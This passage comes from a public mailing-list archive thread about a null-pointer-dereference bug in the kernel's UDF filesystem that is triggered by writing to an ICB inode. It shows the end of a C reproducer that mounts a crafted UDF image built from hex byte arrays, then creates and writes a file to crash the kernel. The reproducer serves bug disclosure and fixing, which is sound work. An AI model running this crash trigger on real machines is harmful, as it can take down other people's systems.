"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x20\x05\x00\x00\xa0\x02\x00\x62");
    *(uint64_t*)0x200002e0 = 0x3e;
    *(uint64_t*)0x200002e8 = 0x188a0;
    *(uint64_t*)0x200002f0 = 0x20010f00;
    memcpy((void*)0x20010f00,
"\x09\x00\x03\x00\xa4\x00\x01\x00\x46\x5b\x76\x00\x80\x00\x00\x00\x00\x10\xe4\x07\x09\x13\x12\x2c\x1a\x3c\x15\x0c\x01\x00\x00\x00\x00\x00\x00\x134");
    *(uint64_t*)0x200002f8 = 0x86;
    *(uint64_t*)0x20000300 = 0x20000;
    *(uint64_t*)0x20000308 = 0x20011300;
    memcpy((void*)0x20011300,
"\x02\x00\x03\x00\x14\x00\x01\x00\x8d\x8f\xf0\x01\x00\x01\x00\x00\x00\x80\x00\x00\x60\x00\x00\x00\x00\x80\x00\x00\xc0\x07", 30);
    *(uint64_t*)0x20000310 = 0x1e;
    *(uint64_t*)0x20000318 = 0x40000;
    *(uint64_t*)0x20000320 = 0x20011500;
    memcpy((void*)0x20011500,
"\x00\x01\x03\x00\x56\x00\x01\x00\x05\x3b\xf0\x01\x20\x00\x00\x00\x78\x10\xe4\x07\x09\x13\x14\x2c\x19\x62\x37\x63\x03\x00\x03\x00\x01\x00\x00\x121");
    *(uint64_t*)0x20000328 = 0x79;
    *(uint64_t*)0x20000330 = 0x150000;
    *(uint64_t*)0x20000338 = 0x20011600;
    memcpy((void*)0x20011600,
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x4f\x53\x54\x41\x20\x43\x6f\x6d\x70\x72\x65\x73\x73\x65\x64\x20\x55\x6e\x245");
    *(uint64_t*)0x20000340 = 0xf5;
    *(uint64_t*)0x20000348 = 0x1500e0;
    *(uint64_t*)0x20000350 = 0x20011900;
    memcpy((void*)0x20011900,
"\x0a\x01\x03\x00\xb3\x00\x01\x00\x95\xde\xd0\x01\x60\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x03\x480");
    *(uint64_t*)0x20000358 = 0x1e0;
    *(uint64_t*)0x20000360 = 0x160000;
    *(uint64_t*)0x20000368 = 0x20012500;
    memcpy((void*)0x20012500,
"\x0a\x01\x03\x00\x7e\x00\x01\x00\x65\xd2\xd2\x00\x66\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x05\x00\x00\x00\x00\x00\x00\x03\x226");
}
```



```
*(uint64_t*)0x20000370 = 0xe2;
*(uint64_t*)0x20000378 = 0x161800;
sys_mount_image(0x20000000, 0x20000100, 0, 0x10, 0x20000200, 0, 0x20013900); // mount a udf image
memcpy((void*)0x200001c0, "./file0\000", 8);
res = syscall(__NR_openat, 0xffffffffffff9cul, 0x200001c0ul, 0x343400ul, 0ul);
if (res != -1)
    r[0] = res;
memcpy((void*)0x20000040, "./file1\000", 8);
res = syscall(__NR_openat, r[0], 0x20000040ul, 0x105042ul, 0ul); // create a file0 dir and create a ./file0/file1 file
if (res != -1)
    r[1] = res;
memset((void*)0x20000080, 169, 1);
syscall(__NR_write, r[1], 0x20000080ul, 0xfdeful); // write something to ./file0/file1 path.
return 0;
}
```

[^ permalink raw reply](#) [flat|nested] 3+ messages in thread

end of thread, other threads: [~2022-01-15 7:36 UTC | newest]

Thread overview: 3+ messages (download: [mbox.gz](#) / follow: [Atom feed](#))
-- links below jump to the message on this page --
2022-01-13 10:57 [A null-ptr-deref bug be triggered when write to an ICB inode](#) butt3rflyh4ck
2022-01-14 17:23 ` [Jan Kara](#)
2022-01-15 7:36 ` [butt3rflyh4ck](#)

This is a public inbox, see [mirroring instructions](#)
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).